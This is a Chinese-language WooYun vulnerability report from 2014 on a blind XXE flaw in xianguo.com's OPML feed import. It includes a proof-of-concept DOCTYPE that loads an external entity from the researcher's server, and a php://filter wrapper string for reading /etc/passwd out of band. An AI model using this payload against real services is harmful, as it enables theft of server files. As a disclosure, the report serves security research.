漏洞概要
关注数(24)
关注此漏洞
漏洞标题:鲜果网RSS导入Blind XXE漏洞
提交时间:2014-08-27 16:07
修复时间:2014-09-01 16:08
公开时间:2014-09-01 16:08
漏洞类型:任意文件遍历/下载
危害等级:高
自评Rank:10
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情
披露状态:
2014-08-27: 细节已通知厂商并且等待厂商处理中
2014-09-01: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
鲜果网支持导入 OPML文件格式的订阅,本质还是XML格式,由于处理不严格导致Blind XXE漏洞。
详细说明:
http://xianguo.com/my/opml
不怎么用鲜果,不过在测试其他的地方的时候发现的一个问题,Blind XXE是老漏洞,PHP的OOB也没啥难度, 不过没看到wooyun有实例,就放出来了。
一般的XXE漏洞测试流程:
1. 是否支持解析实体 ——> 2. 是否支持解析外部实体
1. 通常步骤是先看能否解析实体
2. 然后看看能否引用外部实体(当然,如果修补方案是过滤这里还需要测试通过DOCTYPE引入DTD的情况)
不幸的是此路不通,所以就上主角了:Blind XXE。
纯Blind XXE的核心就是参数实体了,有几个特性:
上POC:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://1v4n.sinaapp.com/xxxxxxx">
%remote;
]>
导入的时候,看看自己服务器的日志,有访问,证明外部实体引用成功。
剩下的就是OOB了,看了下是PHP,可惜没Expect 扩展,直接使用php wrapper,php://filter/read=convert.base64-encode/resource=file:///etc/passwd 导出数据。
至于能干什么,就看SSRF功底和运气了,这里就读取/etc/passwd。
导入POC:
引用的:1v4n.sinaapp.com/xxe/evil_php.xml 代码如下(这里的url改成自己的服务器,不然数据又到我的server上了,o(╯□╰)o):
漏洞证明:
base64解密
修复方案:
版权声明:转载请注明来源 iv4n@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-09-01 16:08
厂商回复:
漏洞Rank:10 (WooYun评价)
最新状态:
暂无